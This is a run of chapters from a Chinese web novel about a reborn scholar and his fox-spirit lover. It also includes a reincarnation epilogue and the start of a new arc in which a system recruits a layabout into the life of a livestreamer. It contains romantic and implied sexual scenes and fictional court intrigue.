齐青寄终于力竭了,没有力气再哭,因为刚才过分剧烈的情绪身体的余韵还在,不论是手还是嘴唇仍在颤抖,此时此刻他更不肯放开胡离净了,几乎要将胡离净的外衣拽的移了位。 胡离净仍旧抱着他,他不知道齐青寄为什么独独没说‘他’这个挖了弟弟心的狐狸,没说这个间接导致他义无反顾投入李言普门下自此不能脱身的祸患之一。 “……你重生了?”胡离净直白的询问。 怀里的身体骤然一僵,有些不可置信的看着眼前这个本该听不懂他的话什么都不知道的狐狸,嘴唇抖了抖,“你……?” 齐青寄一瞬间又想了很多,譬如在一切都未发生时本该什么都不知道的狐狸为什么会得出他重生的结论,他想了很多一切的一切都指向最不好的地方,他几乎不想提及狐狸也带着上辈子记忆从第一次见他就什么都知道的这个可能性。 假如他什么都知道,假如他就是挖了青奇心的那只狐狸,假如他也从头到尾知道他就是青奇的哥哥。 ……那他自以为先知自以为聪明的做了什么? 他以为命运不可更改,于是他故意去接近狐狸试图代替自己的弟弟。 哪有什么莫名其妙又汹涌的爱,最开始的表白与接近不过是算计下的产物。 胡离净扣着他的后颈强迫他抬起头,口气里几乎是质问,“我不是你想的那只狐狸,至少不是挖你弟弟心的那只,那么你——从第一次见我,追出来,到一上来就跟我表明心意——是因为你从一开始就认识我,是吗?” 胡离净实在没想到居然还能牵扯出这一茬,一瞬间不知道该庆幸胡离净喜欢他确实不是因为自己最厌恶的脸,还是该生气他别有用心的接近。 前半段话让齐青寄神经一松,他不曾与挖了弟弟心的狐狸相处过,只是远远见过一次记住了样貌,在与胡离净的相处中他也数次疑惑——如果不是样貌一摸一样他甚至怀疑自己找错了狐狸,假如真如胡离净所说他不是那只狐狸,那么他一直所纠结的狐狸与弟弟的过往还有挖心就不复存在,这自然让他松了口气。 但后半截话又让齐青寄一颗心提了起来,“……是,我知道。” 胡离净得到他的肯定气笑了,没想到齐青寄脑子时好时坏,带着记忆想出的昏招居然就是提前一步截胡狐狸代替自己弟弟去死? “虽然我最开始是认识你,也并非真心,但是我现在确实是真心待你。” 胡离净不是傻子,他能感觉得到,他也并非生气这个,冷冷笑了下: “假如我不是我还是原先那只挖心的狐狸,你出的什么昏招,替你弟弟去死?”胡离净问他,“你就该死吗?” 刚才表明自己是真心的齐青寄说话掷地有声,听到胡离净的冷笑与反问竟然极其无措的垂下了眼,看着慌乱又可怜,他的火本来也不是朝着齐青寄,这表情搞的胡离净又心软起来。 上次看完原剧情齐青寄的结局他咒骂了一番星际局和世界设定,这下看着他的表情不由得再次咒骂起来。 ——什么破点家男主设定,什么破家破人亡,什么逆袭流。 无论是齐青寄、齐青奇还是齐青言知道这么几番波折只是为了满足某种设定大概都会觉得荒谬至极。 他咒骂一番心里火稍微下去一点,没想到齐青寄居然说出一句让他立马起火的话来。 “我不知道为什么我们要经历这些——看着谁都没错,我没地方埋怨。”齐青寄说,“弟弟死了,我当着大官爹妈最后住着破房子是病死,小弟也不愿意认我。” “最该死的人是我。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 第五十一章 那你咬死我算了 “屁的最该死的人是你。”胡离净心头火起, “哪个是因为你死的,你过了几天好日子,你自己日日睡得着么, 你过的是安生舒心日子吗,你最后又是怎么死的?” “我明白这个——”齐青寄说,“只是我死一切会更好一点。” 他什么都明白, 也明白一切的一切甚至跟他没有多大关系,但日日的辗转反侧与苦痛让他甚至对生有了恐惧。 死去的人总是被怀念着, 活着的人只好一味的品尝痛苦,痛苦的自省只能让他将罪责归在自己身上再反复咀嚼, 直到最后萌生出为什么为什么不能看着提前阻拦, 为什么心智不能再成熟一点少走弯路。 这些反复被咀嚼直到死亡, 但是他带着记忆重来了一遍。 齐青寄视这次机会为某种恩赐, 于是在多方考量下决定放弃自己。 只是唯一不同的, 是多了胡离净这个变数。 只是一只蝴蝶轻轻扇动了翅膀, 一切的一切从最初已经改写。 * “他并不与我一心。”胡离净面露厌烦的神色,“我与他坦白, 他反倒跟我决裂。” 李言普毫不避讳的在那里批阅折子,“唉——你说说这, 自古书生多薄性,要么是酸腐, 要么考上背信弃义的也大有人在。”他笑了下,“天天嘴里叫着什么正统, 古来几个太子能登上大宝啊。” 胡离净坐在那里一口气灌了一壶茶,李言普便再次唤人上了一壶好茶,“所以就不回去了?” “不回去,看着膈应。” “不回便不回吧, 那么一个小破宅子也不值几个钱。”李言普不以为然,“一个男人而已,你的寿命远着呢,要什么样的没有。”他说完又笑着指了指一边的王二,“你看看王二,不也是一表人才,干脆送给你算了。” 王二:“……” 胡离净:“……” 胡离净差点一口老血喷出来绷不住脸上的表情,很嫌弃的看了眼王二,“丑。” 王二回嘴,“你漂亮。” 胡离净:“我是漂亮。” 王二:“……” 李言普咳了声制止了两人来回呛声,摆摆手,“齐青寄皮相确实是好。”大夏天刚上来的茶还在冒热气他就这么喝下,“老了,再往前推了几年夏天还能喝冷茶冷酒,再往井里放瓜果冰好捞上来吃,现在什么都不行了。” 胡离净没接话等他下文,果不其然李言普没有等他接话而是继续自顾自开口,“你修炼的如何了?” “仍然觉得有瓶颈。” “想来也是。”李言普脸上看起来没什么失望反倒笑了,“怕是我等不上了。” “您好好保重身体吧。”胡离净只是这样回答。 李言普看起来并不着急也不失望,暗地里不知有找了几波各种宝物,甚至掏了妖怪的内丹和人心给胡离净送来。 内丹和人心被胡离净制止数次才罢休。 人命在这个时代是最不值钱的东西。 李言普看他看的很紧,要不是不通其道恨不得亲自给胡离净来个拔苗助长,从最开始的隔几日隔十几日一问变成后来的一日一问。 齐青寄也去了几次,又给他下点料眼睁睁看着他状态一日差似一日放心的走了,照他现在这个样子估计也就是今年秋天的事情,能不能撑到冬天实在不好说。 他现在住的离阁老府不算近,但也不远,京中的好地段他一个人住着,李言普派来的数个名为伺候实际是监视意味的婢女被他来几个扔几个。 在李言普眼里有血契制约着监视还层出不穷,胡离净实在想不到齐青寄到底被怎么监视过。 他在外面逛了一天就是不回家,外面的人谈收成谈京中时兴谈吃饭就是谈不到什么政治上面,上面的斗争如何汹涌底下人的日子照旧还是得过,桌子上的茶续了一壶又一壶,胡离净听他们讲家长里短意犹未尽但时间已经不早了还是起来结账往回走。 打开锁了一天的大门胡离净脚步就微微一顿,垂眼看了下唇角就有了点笑,刻意不紧不慢的跨过一个又一个长廊和花园往卧房走,他刻意把脚步加重,但又停在门口迟迟不推门,直到门里面的人按捺不住从里面把门打开扑了他一身香气。 胡离净立马举起双手故意不去抱他,“齐大人这是做什么啊!使不得使不得。” “使得使得。”齐青寄的嘴像是装了磁吸石,目标明确瞄准胡离净的嘴巴亲了几口才叹了个舒心的气把自己整个人的重量压在他身上。 “齐大人不是最近忙着跟美娇娘打交道,怎么想起来找我了?”胡离净单手用力就把瘦下来没再长点肉的齐青寄抱起来坐回床上。 “什么美娇娘?”齐青寄正要故意装傻,那只手威胁一般的摸上了他的腰,他顿时吓出颤音立马改口,“是有美娇娘。” “真有美娇娘啊。”胡离净假惺惺笑了下,“听说齐大人跟美娇娘打的火热,也是,想必比我善解人意,女子就像水一样也比我柔软。” 齐青寄抬起脸,“那你咬死我算了?” 他都这么说了胡离净要是不咬实在不像话,扒着他的脑袋往旁边一掰露出犬齿就在上面咬了个印,打一棒子给个甜枣,咬完又舔了舔亲了亲以作安抚。 他一边吻齐青寄的脖子一边用双手卡住他的腰丈量,在他的腹部后腰来回摸了遍,“一点肉都没有,你在那不吃饭么。” “纯累的。”齐青寄挣扎了下挣脱胡离净丈量的双手再次趴上去,“我每天吃饭跟饿虎扑食,太子还能饿着我不成?我现在可是齐大人!” “是是是,齐大人。”齐青寄衣服的料子太好,过于顺滑,就这么抱着都自己往下溜,胡离净只好翘了翘双腿让他重新溜回怀里,“齐大人实在威武!” “你注意着点,别让李言普死了,我还想多威武威武呢。” “已经很威武了。”胡离净有点无奈。 “真的?”齐青寄表情有点不怀好意,胡离净觉得有点好笑,再次配合着他肯定他的威武,谁料齐青寄下一秒像做鬼一样小声说,“既然我这么威武,你能不能躺下让我那什么一下……” …… 齐青寄坐在他怀里,整个上半身被胡离净抱着,又用一只胳膊撑着才维持住平衡。 他知道自己这么说会被收拾一顿,但还是贼心不死的想尝试尝试,现在被胡离净收拾了一顿彻底老实了。 胡离净坏心眼的动了下,“你刚说想怎么着我?” “没有没有。”齐青寄连声否认扭回头讨好的亲他,“明天我还要当值呢,今天就这样行不行?”他说着勉强用膝盖碰到床想跑又被按着腰制住了。 脸朝着床他实在害怕,虽然知道肯定挣扎不过还是试着挣扎。 “你以为我不知道你什么时候当值?后天上朝,明天一整天都闲着。”胡离净压上去咬住他的肩膀磨牙,毫不犹豫抬手就是一巴掌,清脆的声音响起齐青寄登时就从头红到脚。 他极其不可置信,“你打我屁股?” 胡离净又捏了捏,“我不止打,还捏,还…,刚才打的少么?”他说完又动了动发出一点细微的声音,这声音再次把齐青寄弄成一个红色的木头人。 他动作没停,在间隙却捏着齐青寄的下巴让他稍微抬头,“最近我从李言普那听见点事,严四浦的儿子去年不是二甲么,我记得他好像是向着你们的,严四浦好像有为了自己儿子从李言普名下脱离的意思,到底是三品官员,笼络笼络也没错。” 齐青寄眯着眼费劲的喘气,含糊的嗯了几声表示自己记住了,但胡离净却又开了另一个话头,他几乎什么都听不明白,听懂前半截漏了后半截,分开一个字一个字都能听懂合起来什么都不清楚不明白,只看见胡离净形状漂亮的嘴在一张一合,实在崩溃的想胡离净到底为什么要在这个时候说这些,他哪里记得住! 胡离净捡有的没的说了半天,故意前言不搭后语的捉弄他,看他迷茫的瞪着眼用尽全力的去理解,反正说出一堆废话齐青寄也不知道,胡离净好整以暇的看他兀自崩溃什么都记不住,故意坏心眼压住问他,“我刚才说了什么?” “呜、不知道——不知道。”齐青寄哆嗦着流了点泪,把脑袋埋进双臂逃避一般不看他,胡离净却不肯就这么放过,再次卡着下巴让他抬头,“那我再说一遍,你这次记住。” 神志不清的齐青寄抬起脑袋眯着眼仔细的听,试图记住胡离净到底说了什么,只听胡离净的语气像是在说什么惊天大秘密,搞的他也不由得紧张起来,又忍不住骂了胡离净几句别在这种时候说啊。 胡离净说:“我说,好紧,好热。” 齐青寄:“???” 聚精会神的齐青寄冷不丁听见这么两声,顿时恼怒的睁大眼用力给了胡离净一拳: “混蛋吗你是!” 第52章 第五十二章 骚狐狸 “骚狐狸。” 红色的狐狸收好爪子趴在齐青寄胸口踩奶, 故意在那里嘤嘤叫着装可爱。 本来被折腾够呛想发火的齐青寄现在火都发不出来了,一半是累一半是实在抵抗不了这么大一只毛茸茸的狐狸,只好无奈的用指尖摩挲狐他湿漉漉的鼻尖。 齐青寄身上黏糊糊的全是汗, 刚刚还是个人模样的胡离净现在变成狐狸样子实在让他感到某种莫名的不自在,于是轻轻拽他的耳朵,“变回来, 快点。” 胡离净用细长的眼睛看他没动。 齐青寄再次小声催促,“不打你, 不生气,变回来。” 本来安安分分待在他胸口的狐狸身形却骤然变大, 要不是床限制着他估计还要继续, 那只巨大的狐狸几乎把他整个人都笼罩住, 用长长的嘴来回蹭齐青寄。 齐青寄更加不安了, 蜷缩了下身体用双手握住他的嘴筒子, “变回来, 胡离净!不然以后你就再也别碰了。” 见到老老实实变回来的胡离净他松了口气,翻了个身用背对着不说话了, 热乎乎的身体就从后面把他抱住严密贴合,然后吻了吻他的耳朵, “我能随意变化大小,下次咱俩试试?” “啊——!闭嘴!不要说了!”齐青寄彻底炸毛了, “你在说什么啊!!” 胡离净眼带笑意,“你刚才不就想到这个才让我变回来的么。” “我没有!”齐青寄立马大声否认, “再说你小心我把你的狐狸耳朵给拽下来。” “好好好——不说了不说了。” 这次算是真把齐青寄给惹着了,又羞又气把被子往脑袋上一蒙气儿都不肯跟胡离净出,自己作的胡离净只好又哄了一晚上。 * 三足鼎立之势摇摇欲坠,所有人都在盯着李言普, 出身寒门得势后却又作恶多端,再有威胁力的敌人依旧抗不过生老病死,更何况其中又有人刻意算计。 皇帝还在,朝堂的厮杀就不曾见血,甚至没有多么大的阵势,唯有参与其中的人才知平静的水面下暗流涌动。 众人尚不知发生了什么,矗立朝堂长达三十年的李言普一党就轰然倒塌。 今年的冬天比以往都要冷,人人自危为避免清算寻找新的靠山与支撑,这场无声的战争最后只剩下了皇家和世家。 但这些并不关齐青寄与胡离净的事情。 风雪挡不住两人的脚步,归家的心思愈演愈烈。 名望尝过、权力尝过,到现在他也只想回漳州。 “前年的这个时候我和青奇从漳州启程来京城,漳州太远,水路又不通,我们走了很久,二月才到京师,我那个时候见到了你。”齐青寄坐在车上紧紧拉着胡离净的手。 “我带你回漳州。” * 这个结局看的996有点心软,也有那么一点轻微的高兴,但随着离总局越来越近它实在是高兴不起来了,甚至不敢从正门走怕遇见同期的同事干脆走了后门偷偷溜进去。 明明知道自己的排名绝对又掉了一个但它还是忍不住去看了眼,又再在心里疯狂的哀嚎好几声。 能排在第三名的系统自然也不是什么草包,一直以来前三名都咬的很紧,996敢保证,如果它下一个任务再失败的话绝对会掉到第三名。 垂头丧气溜进办公室的996现在看着安琪女魔头都十分亲切,很谄媚的飞到安琪身边贴着笑,【老板~】] 【老板诶老板~】 安琪笑了下,“失败了吧。” 996哈哈笑了两声,【这里面有事,绝对是有人做局我了,这宿主一个比一个善,根本跟那个任务不相符啊,我以前的宿主可不是这样的。】 安琪沉吟片刻,“或许是任务成功率太高了,那么你要做一个简单点的任务来当作休息吗?” 【这敢情好啊!】996没想到这么容易,十分不好意思的尝试着,【那我能不能在挑宿主的时候多观察观察啊,不一上去就绑定,要是不对劲我就换人。】 …… “饭呢?!” 年轻男人脸色看起来是常年不见光的苍白,因为作息的昼夜颠倒看起来很没有精神,身上穿着件睡衣,头发睡的毛毛躁躁的,但这些也不难看出这人底子很好,现在站在那里神情极度暴躁。 坐在客厅的两个五十来岁的中年夫妇又着急又无奈的,几乎要围着年轻男人团团转,“咱们也不能一直待在家啊,这也不叫个事啊。” “我没学历哪要我啊!饭呢,我要饿死了。”年轻人去厨房翻了翻冰箱,“你们不知道我这个点出来吃饭,放冰箱我怎么吃啊?!” 男人生气极了又不敢发作,“那你去考成人本科啊,在家里待着不怕别人笑话死。” “反正笑话的是你,关我什么事。”放在冰箱里已经冷掉的菜重新被塞回去,男人随便找了点放在冰箱的鸡爪什么的拿着回卧室了。 女人立马追上,“不要吃那些啊,妈现在给你热饭去,你好歹吃点饭。” 男人嘴里咬着鸡爪的塑料袋,瞥了她一眼嗤的笑了声,“早干嘛去了。” 一家子人鸡飞狗跳,没有学历在家啃老的儿子,试图改变儿子没有办法到处团团转的爹妈,等啃老儿子一进卧室又爆发了争吵,你指责我我职责你的,家里一片狼藉鸡飞狗跳。 996已经观察了这个啃老族好几天,确定他就是天天在家打游戏衣来伸手饭来张口,顺便还对爹妈恶语相向,白天睡觉晚上玩。 实在是、实在是,太好了! 人渣部门就需要他这样的人才! 男人回卧室往电脑椅上一坐边刷视频边啃鸡爪,那股烧心挠肺的饥饿感被压下去后他抱着包薯片边啃边晃电脑椅,刷到高兴的地方还一个人在卧室里笑几声,看了会儿或许是觉得太热,从手边摸到了遥控器又把空调打开。 随着空调开启的声音996立马抓紧机会现身,【你是否厌恶现在的生活,是否厌恶父母的管束,是否想花钱更阔绰!是否想过上极其享受不用看银行卡余额的日子?!】 【如果你想,就与我签订契约吧!】 男人抬眼看了它几秒,再次冷笑一声,“神经病。” 996:【……】 996并不挫折,经过数天的折磨它已经深切的明白了这人嘴巴很毒,平等的攻击所有人,哪怕是一个跑到他面前的灯泡。 【我没有开玩笑,你的身体被你严重透支了,如果再这么下去没过几天就是你的死期了。】996说,【而我,是星际总局人渣部门系统996,我可以延续你的生命!】 男人:“死吧。” 他好像不是在说他自己的性命,说完这句甚至懒得再搭理996,把薯片一扔又要睡觉了。 【等等等等——!】996好不容易找到如此合心意的宿主哪能就此放过,更加不遗余力的推销自己,【如果你与我签订契约,你不仅能恢复身体的健康,还能在任务世界里有钱,如果你想留在任务世界一直有钱那也是可以的,那么到时候你连吃饭都可以雇个保姆给你喂嘴里。】 不知道这里边哪句话触动了这人的神经,男人终于撑起点身体扫了它一眼,“我要干什么,留在那里这里的我就死了是么?” 【是这样的。】996说,【什么都不用干,你就去捞,去要钱,去躺着享受就行,没钱就跟他要。】 “他?” 【他指的是刘广白,是一个小主播,比上不足比下有余那种,收入相对于普通人来说已经很可观了,但是收入再可观也经不住他有个饕餮男友,这个饕餮男友吃他的喝他的用他的住他的房子,还不停的跟他要钱去高消费去直播间给别的人刷出去。】 【但是这个刘广白还爱他的男友爱的要死,即使他这个男友是个养胃,要钱给钱没钱就去继续搞钱,去跟直播间的人开始捞。】 【于是他们两个人陷入了一个刘广白去直播间捞,男友从刘广白身上捞,别人再从他男友身上捞,形成了一个捞中捞中捞,三角形具有稳定性,于是这种方式也持续了很长时间。】 【每当刘广白没钱的时候男友就以分手来威胁,搞的刘广白哭的一把鼻涕一把泪的挽留,这么真情实意一哭去直播间捞的更顺利了,捞完就给男友。】 【当然,刘广白既然是捞男对外当然是单身人设,他的外表吸引来的大部分都是男性粉丝,大哥当然也不会给他白刷,几个常刷的加了泡泡就跟他聊天,刘广白顾忌着赚他们的钱但又不想聊,于是拜托自己男友应付应付自己去直播。】 【男友也没有那么好心免费帮他聊,大哥的最后目的到底是什么心知肚明,男友背着刘广白答应了大哥线下见面的要求,然后又拿了一笔钱。】 【刘广白当然不愿意去应约,但没办法男友又以分手相逼,还哄着他说以后都不会了,于是刘广白就去了。】 【不过见面的大哥最后也被刘广白不堪忍受捅了刀,他回来就把男友也给捅死了,顺便自己也自杀在了这套房子。】 996说了这么多居然也有点口干舌燥的感觉,继续开口,【这个就是一个都市灵异故事的开头,刘广白杀了男友两人都成了鬼盘踞在房间里,故事的开头就是主角团去解决这间房的闹鬼事件。】 男人情真意切的感慨,“傻逼。”他似乎觉得还不够情真意切,再次补充,“一群纯傻逼。” 【是挺傻逼的。】996说,【不过这种故事中也正常,一般都会是什么狗血事件或者感人泪下的事情。】 “神经病。”男人说完又看了眼996,“看我干什么,你也是神经病。” 996:【……】 996麻了但还是选择忍耐不放过如此合适的宿主,【所以宿主来跟我签订契约吧?】 “等等。”男人问,“所以我是那个养胃的男友。” 996以为他介怀养胃,开口解释,【养胃就是个设定,我保证宿主你很行的。】 “不是,养胃挺好的,我懒得。” 996再次被震惊了,据他所知人类男性都是极其在乎这方面的,难道懒惰已经连这个都能战胜了吗? “我的意思是。”男人询问,“我是那个男友,所以我被那个主播给捅死,然后我跟主播的灵魂在一个房间成了鬼,我要跟一个鬼待在一起一直到所谓的故事开头是吗?” 【你也是鬼啊,不要怕啊。】 “然后我待到故事开头等他们来灭我是吗?”男人问它,“你看我像个傻逼吗?” 996连忙摇头否认,【哎呀不是不是,是要待着但他们肯定灭不了宿主,我们会保护你的,不然我们也别干了,职业素养还是有滴。】 【总之宿主你就开始捞捞捞捞捞!不惜一切的手段捞!去享受美好的生活!去海底捞!】 第53章 番外:来生今世 “你放什…… “你放什么狗屁呐!”妇人叉着腰丝毫不落下风, “说话也不怕风闪了舌头!” 另一个妇人结结巴巴几声,“你、你!我说错了啊!你们家青寄不是带了男的回来!还状元呢!一点都不懂得孝顺传宗接代!” 妇人冷笑,“老娘有三个儿子!你儿子有本事也去考个状元回来啊!考了二十几年还是个童生在这儿叫什么叫!” 那个妇人气极, 抓了身上拿着的东西朝着这边一扔摔门回去了。 妇人呸了声骂了声泼妇,抓着胡离净的胳膊带着他往回走,“别听她满嘴放屁!就是嫉妒的!” 胡离净震撼于两人骂了半天不带重复的口才, 除此之外对那些小话倒是没什么反应也不在乎,回去就帮着齐母烧火添柴做饭。 齐青寄去了官府当值, 从京城回来带了不少太子给银两金子,其实大可以雇点厨娘下人伺候着生活, 不过家里也就两个老人, 齐青奇还在株洲, 齐青言外出捉妖经常奔波不在家里, 齐青寄常常在官府吃饭, 两个老人觉得别扭不习惯, 还是照旧自己操持家里。 齐父坐在院子里抽烟,被齐母叫了好几声才回来, 几乎就是抱着碗埋头吃,一口气干了两大碗饭, “晚上炖□□,我下午挑一只杀了。” 他还是不太习惯跟胡离净说话, 大多数时候反倒是这个四十来岁年近五十的男人躲躲避避的,但发现胡离净爱吃鸡肉又抓了好多只小鸡自己养了起来, 说完这个又拿着烟出去找了个阴凉地抽去了。 胡离净吃碗里柴火烧的饭,每一粒都香的很,齐母在旁边问他,“还要不要饭, 锅里还有呢。” “我吃饱了。”胡离净把碗里的扒拉干净。 “你爹就是个闷葫芦,不知道该怎么跟你相处,他其实挺喜欢你呢。” “我知道的。”胡离净分得清好坏,也知道谁对他好,当然看得出这就是对极善的夫妇。 古代对于同性恋其实比他想象的更加宽松,但这种宽松不包括真的跟个男的过日子,齐青寄的爹娘这么开明还是让他有点惊讶。 …… 晚上饭吃的早,做的也早,家里几乎没什么事是要胡离净做的,他想了想打算出去买点别的回来配着吃,一出门就撞上了齐青寄。 胡离净眉头一挑就要说点什么,齐青寄却重重咳了声示意他看旁边的少年,胡离净的目光全在他身上被提醒了才注意到旁边的这个人。 这人看着年纪不算大,一把刀一直抱在怀里保持着一个姿势,脸上有点很轻微的笑。 “是阿言。”齐青寄介绍,“这是你嫂嫂。” 齐青言稍微低了点头当作打招呼,极其自然的开口唤,“嫂嫂。” 胡离净有点稀罕的看这个传说的中逆袭流点家男主,或许是一切已经改写,胡离净没看出什么特别明显的特征,于是就朝他回了个笑。 齐青寄默不作声离开齐青言贴住了胡离净,“你要出去?” “打算出去买点别的菜,现在人多了估计更不够了,我出去买吧。” “不用买。”齐青寄有点控制不住自己的身体,将重量给了胡离净,把手拿起来给他看,“我给你买了熏鸡,还买了酒跟鱼。” 胡离净哭笑不得,“家里正在炖鸡。” 齐青寄啊了声,犹豫了会儿,“那你多吃点好了。” …… 家里已经很久没有这么热闹了,老两口知道小儿子回来也高兴,拉着齐青言说了好一会儿话,齐青寄干脆告了假兄弟两个晚上坐在桌前聊天,胡离净端了盘花生坐在那里剥着吃。 “我一直不在家里,现在回来看爹娘身体都还好。” “吃饭都挺好,娘吃一碗多爹每顿两碗吃什么都香,上了年纪就怕不能吃饭。” 齐青言点点头一时无言,看起来一副心思很重的样子,胡离净吃着花生还给齐青寄剥几个尝尝,在心里啧啧赞叹果然是男主,光在这里坐着看起来都十分有逼格,他想完笑了下,把盘子推了推,“弟弟吃花生。” 胡离净让他吃他就吃,很配合的拿了一个剥开,“二哥还在株洲了?” “是。”齐青寄说,“他那时候就派到了株洲,也就在那里待下了,不愿意跑来跑去的,反正这里有我,等在调任再说吧。” 齐青言点点头不说话了,他看起来谁都担忧,看了看齐青寄又安静了会儿才问,“嫂嫂以后怎么办呢——几十年后。” …… 没有人能逃得过死亡,平静安宁的日子过的一日比一日快,人生的后半截总像是按下了加速键,在不知不觉中早已不能再返。 齐青寄老了还是个俊老头,总归有骨头撑着,除了皱纹皮肉还是很贴,头发也是银白的,太阳底下看着很好看,他不太有精神,也不知道是不愿意跟胡离净说话,反正闭着眼不看他。 胡离净也趴在被子上不抬头。 “我过的挺好的。”齐青寄说,“上辈子权力场里走一遭,这辈子又尽了孝,什么都全了。” 胡离净有点生气,“过的挺好说权力说爹娘就是没说我?” “少来得瑟。”齐青寄轻轻的拍了下他的侧脸,“现在还这么年轻还想要什么。” 胡离净不想说话了,把脸埋在被子上不吭声,齐青寄反倒来劲了: “反正我要死了,你爱找谁找谁。” “诶!别咬我,我一把老骨头禁不起。” 齐青寄甩甩手想让咬着他不松嘴的胡离净松嘴,他觉得疼,胡离净实在咬的太重了,等真放开虎口那留了两个血窟窿,齐青寄直叹气,“本来就老,还身体不好,你还给我咬俩血窟窿。” 胡离净又舔了舔,“我会找你的。” “……找我?去哪啊?什么来生今世的啊,这不就是写在话本子里骗人的么?” “我会找你的。” 胡离净只是这样说。 * 寿命是最残酷的东西,有人死去,有人降生,生命循环往复,没有谁能永远留下,也没有谁会不再回来。 四十八个州郡,四十八个府,一百一十三个县,四百二十六个村。 无非就是费时费力些。 他走过了太多地方,但并不觉得倦怠,爱从来不会让他感到疲惫。 红色的狐狸蹲守在草丛,天上飘下的大雪落了他满身,那只狐狸像是有神智一样跳上窗户蹲在那里守着,房中仍旧惨叫连连,来去人都匆匆的,没人注意到这只狐狸,婴儿啼哭声响彻整个房里,在外等候的男人连忙扑进房里,稳婆抱着小孩笑着道吉祥话。 力竭苍白着脸的母亲抓着婴儿的小手笑,她温柔又仔细的端详,很高兴的招呼旁边的人来看: “看啊——他手上有两个小胎记。” 【来生今世——完】 第54章 第五十四章 主播 “04色号有色差是吗宝宝?”刘广白把手上的眼影盘放下, “宝宝你买的是哪个的04——是XX家的是吗?” “宝宝正好我要涂口红了,现在可以教大家怎么涂,如果宝宝你改变方式涂还是觉得色差很大的话咱们去找售后处理一下好吧宝宝。” 刘广白拿着镜子看了下用粉扑遮盖唇色然后对着镜头讲解, “宝宝我唇色比较深,所以我就会先遮一下,因为这个04色号是唇釉, 粉粉的不灵不灵的那种,所以绝大部分情况都是需要宝宝遮一下的。” [老婆好美……] [怼着拍美我一大跳。] [oi, 进来之前实在饿的慌,看见主包一下子被美到了, 如此秀色可餐。] [妙手回春啊大夫!我感觉身体好了许多!神医啊大夫!我感觉舒服了许多!真不知道该怎么报答你!恩人!!] [宝宝感觉灯有点暗噢。] “灯有点暗吗?”本来打算展示口红的刘广白抬头看了一圈, “我看一下, 好像是面灯快没电了, 宝宝们等我一下。” 房间里镜头拍不到的地方到处都拉着电线, 他去把电插上灯更亮了一点才坐回原位扒拉了几下头发, “好了宝宝们,我现在上的是XX家的04号颜色, 它就是那种很闪的颜色,涂了它不需要再涂唇油就很亮, 很粉特别少女,就是一个百搭款, 春夏季必备一支,涂了以后真的显得你自己嘴唇就是这么粉。” 刘广白涂了口红以后在镜头前展示, 把自己用的一堆未拆封拿到镜头前给大家看,“他这个牌子04号是我最推荐的自用款,经常看我直播的宝宝应该都知道我一般用的都是这个。” 弹幕里都是清一色夸夸的,刘广白介绍产品偶尔也跟弹幕互动几下, 各种小礼物几乎没怎么停过。 [。送来游艇×2] [哇哇哇,句号哥又来看了。] [主包一开播男女都吻上来了,4i姐在哪里。] 弹幕上刷了好几百条在这里,刘广白稍微笑了下,“谢谢哥的游艇,感觉哥最近没有怎么看直播是在忙吗。” [。:有点。] “那哥要多注意休息啊,现在已经很晚了。”刘广白看了眼时间,“快凌晨了。” 他随意聊了几句就重新开始介绍产品,“我眼皮上用的亮晶晶是这个。”小铁盒被举起来,他用指腹蹭了蹭,“看,这个粉质特别细,而且很闪啊。”刘广白晃了晃手,“在太阳底下或者闪光灯下效果很明显,大家画烟熏的话就叠涂。” “宝宝们这下面所有的链接除了大家买到的还会送一个这样的小的试用装。”刘广白把好几种东西的试用装捧在手心里拉远给直播间里的人看,“就这些,出门带着补妆什么的都挺好,出去旅游的话带着这个就很方便,也不占地方。” [还播呢,出事了。(大肚子表情包)] [老公涂了你卖的口红感觉热热的。] [要亲亲才能好。] [没加chun药,想吃什么自己加。] “是过敏了么宝宝,咱们有过敏险的。”刘广白粗略看了眼就看见了这么一句,拿着水杯喝水歇一歇,“如果过敏的话去找售后,咱们所有的售后都只有那一个的。” 他喝了一嘴两颊鼓鼓的才咽下去,底下又是一顿弹幕裤裤乱飞。 [可恶!长啊!长啊!] [今生不能给你幸福,来生我一定长个大的好好疼你。] [可恶啊,不存在的某处嘤嘤的。] [(气泡音)4i吗弟弟(哈士奇叼花)姐姐会对你好的。] [(大笑)(大笑)这是我失散多年的弟弟啊。] [妈呀,萌的小女子鼠鼠的,宝宝你真是天选omega。] [没人觉得主包跟XX里的XX很像么,妈呀。] [宝宝你记住,屁股只能用来拉屎啊!!!!] [一聊起凰,原生家庭不痛了,男女不对立了,国际局势不关心了,大家都聊嗨了聊美了。] 弹幕快的刘广白实在看不过来,但能看到的几个还是把他逗的直笑,他正打算继续说点什么,旁边的门突然被打开了,一道不耐烦憋着火的声音被收进直播间: “几点了?能不能安静点啊,我不睡觉的吗?” 刘广白下意识捂住麦克风离开镜头说了几声对不起好不容易把人打发出去。 [这谁啊,声音还挺好听态度怎么这么恶劣啊。] [不过确实有点晚了现在。] [隔音不太好吗宝宝。] [合租还是助理啊?助理不可能这样吧,要是合租住之前应该就知道工作性质和时间吧,现在来发火?] 刘广白把麦克风撒开声音放低了点,“不好意思宝宝们,是合租室友,最近可能有点不顺利想早睡才发火的,没关系的宝宝们。” [啊?宝宝搞这么长时间互联网还得跟别人合租吗,我看背景以为你赚的钱不少。] [那今天是不是就要这样结束了啊?] [主包跟舍友沟通一下吧,要是一直这样也不是个事。] [(哭)(哭)] …… 姚粱躺在床上逼着自己闭眼睡觉,可长久养成的生物钟也不是一时一会儿就能掰过来的,过了没几分钟卧室门被轻轻打开了,穿着件白色上衣上面挂着个小熊和短裤的刘广白声音很轻的进来了,没有几秒姚粱就感觉到床的另一侧下陷,那个主播似乎想往他身上靠,他立马睁开眼睛撑在中间,“别把粉蹭被子上。” 他睁开眼就对上了双戴着蓝色美瞳染着蓝色头发做了造型的男生,他画着淡妆,看起来清清秀秀又香香的,穿着上衣领口有点宽松,露出一点好看的锁骨,闻言慢吞吞哦了声,“那我去卸妆了。” 刘广白卸妆的步骤很繁琐,后期护肤花费时间也长,干这行他吃这个饭也不得不多上上心,一个人在浴室弄了快两个小时才出来,床上的姚粱早就睡着了。 他想跟姚粱说直播的事情,可现在人都睡着了也没法把他搞醒,重新看了眼手机已经三点多将近四点,也只好勉强着自己赶紧睡觉。 等身边动静消失了姚粱才默默睁开眼。 ……长年累月的夜猫子现在哪能睡得着啊。 手机放在一边他也不想看,跟一个陌生人睡一张床也由最开始的不自在现在已经没什么别的感觉,来这儿过了几天其实他对这个所谓的任务还有系统还是有点浑浑噩噩不算弄清楚,索性趁现在把那个996叫了出来。 